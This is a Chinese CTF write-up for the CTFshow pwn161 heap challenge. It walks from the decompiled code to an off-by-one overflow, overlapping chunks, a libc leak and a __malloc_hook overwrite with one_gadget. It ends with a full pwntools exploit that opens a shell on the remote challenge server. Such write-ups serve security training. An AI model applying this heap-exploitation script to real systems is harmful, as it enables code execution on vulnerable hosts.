CTFshow-pwn161
[!NOTE]
简单的漏洞利用
- 远程环境:Ubuntu 16.04
libc 版本为 Ubuntu GLIBC 2.23-0ubuntu11
先来检查一下二进制文件保护,保护全开
niuyingying@niuyingying:~/ctf/pwn$ checksec ./pwn161
[*] '/home/niuyingying/ctf/pwn/pwn161'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
接下来查看 ida 中的伪代码,程序大致流程如下
unsigned __int64 menu()
{
unsigned __int64 v1; // [rsp+8h] [rbp-8h]
v1 = __readfsqword(0x28u);
puts("Ez Note:");
puts("1. Add a note");
puts("2. Edit the note");
puts("3. Free the note");
puts("4. Show the note");
puts("5. Exit");
printf("Choice: ");
return __readfsqword(0x28u) ^ v1;
}
__int64 Add()
{
__int64 result; // rax
int i; // [rsp+4h] [rbp-1Ch]
int v2; // [rsp+8h] [rbp-18h]
int size; // [rsp+8h] [rbp-18h]
void *v4; // [rsp+10h] [rbp-10h]
result = 0;
for ( i = 0; i <= 15; ++i )
{
result = *((unsigned int *)&unk_202040 + 4 * i);
if ( !(_DWORD)result )
{
printf("size: ");
size = Scanf(v2);
if ( size > 0 )
{
if ( size > 4096 )
size = 4096;
v4 = calloc(size, 1u);
if ( !v4 )
exit(-1);
*((_DWORD *)&unk_202040 + 4 * i) = 1; // used
*((_DWORD *)&unk_202044 + 4 * i) = size;// size
qword_202048[2 * i] = v4; // ptr
printf("the index of ticket is %d \n", i);
}
return (unsigned int)i;
}
}
return result;
}
__int64 Edit()
{
int v1; // [rsp+Ch] [rbp-14h]
unsigned int v2; // [rsp+Ch] [rbp-14h]
unsigned int i; // [rsp+10h] [rbp-10h]
unsigned int v4; // [rsp+14h] [rbp-Ch]
printf("index: ");
v2 = Scanf(v1);
i = v2;
if ( v2 < 0x10 )
{
v2 = *((_DWORD *)&unk_202040 + 4 * (int)v2);
if ( v2 == 1 )
{
printf("size: ");
v2 = Scanf(1);
v4 = New_size(*((unsigned int *)&unk_202044 + 4 * (int)i), v2);
if ( (int)v2 > 0 )
{
printf("content: ");
return (unsigned int)Read(qword_202048[2 * (int)i], v4);
}
}
}
return v2;
}
__int64 Free()
{
int v0; // eax
int v2; // [rsp+Ch] [rbp-14h]
int v3; // [rsp+10h] [rbp-10h]
__int64 v4; // [rsp+10h] [rbp-10h]
printf("index: ");
v0 = Scanf(v3);
v4 = v0;
v2 = v0;
if ( (unsigned __int64)v0 < 0x10 )
{
v4 = *((int *)&unk_202040 + 4 * v0);
if ( v4 == 1 )
{
*((_DWORD *)&unk_202040 + 4 * v0) = 0;
*((_DWORD *)&unk_202044 + 4 * v0) = 0;
free((void *)qword_202048[2 * v0]);
qword_202048[2 * v2] = 0;
}
}
return v4;
}
__int64 Show()
{
int v1; // [rsp+0h] [rbp-10h]
unsigned int v2; // [rsp+0h] [rbp-10h]
unsigned int v3; // [rsp+4h] [rbp-Ch]
printf("index: ");
v2 = Scanf(v1);
v3 = v2;
if ( v2 < 0x10 )
{
v2 = *((_DWORD *)&unk_202040 + 4 * (int)v2);
if ( v2 == 1 )
{
printf("content: ");
return (unsigned int)Write(qword_202048[2 * (int)v3], *((unsigned int *)&unk_202044 + 4 * (int)v3));
}
}
return v2;
}
我们看到 New_size 函数,发现如果 new_size - old_size == 10,返回 old_size + 1
__int64 __fastcall New_size(int a1, unsigned int a2)
{
__int64 result; // rax
if ( a1 > (int)a2 )
return a2;
if ( a2 - a1 == 10 )
LODWORD(result) = a1 + 1;
else
LODWORD(result) = a1;
return (unsigned int)result;
}
那么只要输入 new_size = old_size + 10,就能写 old_size + 1 字节,形成 1 字节堆溢出,正好打到下一个 chunk 的 size 低字节,一旦做出重叠的 chunk ,就可以通过 Show 函数泄露
由于是垫基础,所以这里讲一下堆利用中各种 bin 之间的转换,以启用 tcache 的 libc 版本为例
free(chunk)
│
├─ chunk 是 mmap 分配的
│ └─ munmap,直接还给系统
│
├─ 大小属于 tcache 范围,并且对应 tcache 没满
│ └─ 放入 tcache,结束
│
├─ 大小属于 fastbin 范围
│ └─ 放入 fastbin,结束
│
└─ 普通 free
│
├─ 尝试向前合并
├─ 尝试向后合并
│
├─ 如果与 top chunk 相邻
│ └─ 合并进 top chunk
│
└─ 否则
└─ 放入 unsortedbin
│
└─ 下一次 malloc 时:
├─ 正好合适:直接使用
├─ 小 chunk:归入 smallbin
└─ 大 chunk:归入 largebin
tcache 满
↓
fastbin 或普通 free
fastbin
↓ malloc_consolidate
unsortedbin
普通 free
↓ 合并
unsortedbin
unsortedbin
↓ malloc 整理
smallbin / largebin
切割产生的 remainder
↓
unsortedbin
再来讲一讲 malloc(0x18) 以后 chunk 的内存布局
chunk_addr
↓
+0x00 +--------------------------+
| prev_size 0x8字节 |
+0x08 +--------------------------+
| size = 0x21 0x8字节 |
+0x10 +--------------------------+ ← malloc 返回的 p
| 用户数据 |
| 共可使用 0x18 字节 |
+0x20 +--------------------------+
| 下一个 chunk 的 prev_size|
| 当前 chunk 使用时可复用 |
+0x28 +--------------------------+
| 下一个 chunk 的 size |
+0x30 +--------------------------+
重点在于下一个 chunk 的 prev_size 字段在当前 chunk 被使用时,可以作为当前 chunk 的可用空间
接下来说一下这道题的利用思路,由于 libc 版本没有启用 tcache (从 glibc 2.26 开始),因此这道题我们可以先通过上述的堆溢出和 unsorted bin 泄露 libc 地址,再利用 fastbin attack 技术 get shell ,具体利益链如下
- 申请
0x18 / 0xf8 / 0x68 / 0x18四块 - 对
idx0执行Edit(size=0x22),实际只会读0x19字节,最后 1 字节把idx1的 chunk size 从0x101改成0x171,让它“吃掉”后面的idx2 free(idx1)后再add(0xf8),会把重叠区域切回来,留一个落在idx2位置上的 unsorted remainder;show(idx2)直接泄露main_arena+0x58,从而算出 libc 基址- 再
add(0x68)让idx2和新 note 别名同一块;free(新note)后,idx2还保留着对 fastbin chunk 的写能力,于是改fd -> __malloc_hook-0x23 - 两次
add(0x68)把 chunk 取到 hook 附近,写入:__realloc_hook = one_gadget__malloc_hook = realloc + 0x10
- 最后再触发一次
Add,calloc走到 hook,直接拿 shell
niuyingying@niuyingying:~/ctf/pwn$ one_gadget ./libc-2.23.so
0x45216 execve("/bin/sh", rsp+0x30, environ)
constraints:
rax == NULL
0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
[rsp+0x30] == NULL
0xf02a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
[rsp+0x50] == NULL
0xf1147 execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
攻击脚本如下,可参考 [SUCTF 2018 招新赛]unlink - AurY1n's Blog 这篇
from pwn import *
context.arch = 'amd64'
context.os = 'linux'
context.log_level = 'debug'
elf = ELF('./pwn161')
libc = ELF('./libc-2.23.so')
# io = process('./pwn161')
io = remote("pwn.challenge.ctf.show",28113)
# io = gdb.debug('./pwn160', gdbscript='set pagination off\nb *0x08048AD2\nb *0x08048B73\nb *0x08048C14\nb *0x08048E22\nc')
# io = gdb.debug(
# './pwn161',
# gdbscript='''
# set pagination off
# set sysroot /
# handle SIGALRM nostop noprint nopass
# breakrva 0xD80
# breakrva 0xF86
# breakrva 0x10A0
# breakrva 0x11E4
# c
# '''
# )
def Add(size):
io.recvuntil(b"Choice: ")
io.sendline(b"1")
io.recvuntil(b"size: ")
io.sendline(str(size).encode())
def Edit(i,size,text):
io.recvuntil(b"Choice: ")
io.sendline(b"2")
io.recvuntil(b"index: ")
io.sendline(str(i).encode())
io.recvuntil(b"size: ")
io.sendline(str(size).encode())
io.recvuntil(b"content: ")
io.send(text)
def Free(i):
io.recvuntil(b"Choice: ")
io.sendline(b"3")
io.recvuntil(b"index: ")
io.sendline(str(i).encode())
def Show(i):
io.recvuntil(b"Choice: ")
io.sendline(b"4")
io.recvuntil(b"index: ")
io.sendline(str(i).encode())
io.recvuntil(b"content: ")
def Exit():
io.recvuntil(b"Choice: ")
io.sendline(b"5")
# 0
Add(0x18)
# 1
Add(0xf0)
# 2
Add(0x60)
# 3
Add(0x10)
payload1 = b"\x00" * 0x18 + b"\x71"
Edit(0,0x22,payload1)
Free(1)
# 1
Add(0xf0)
Show(2)
leak = u64(io.recv(6).ljust(8, b'\x00'))
print(hex(leak))
libc_base = leak - 0x58 - 0x10 - libc.sym['__malloc_hook']
print(hex(libc_base))
one_gadget = libc_base + 0x4526a
malloc_hook = libc_base + libc.sym['__malloc_hook']
realloc = libc_base + libc.sym['realloc']
# 4
Add(0x60)
Free(4)
Edit(2,0x8,p64(malloc_hook - 0x23))
# 4
Add(0x60)
# 5
Add(0x60)
payload2 = b"\x00" * 0xb + p64(one_gadget) + p64(realloc + 0x10)
Edit(5,0x1b,payload2)
Add(0x10)
io.interactive()

浙公网安备 33010602011771号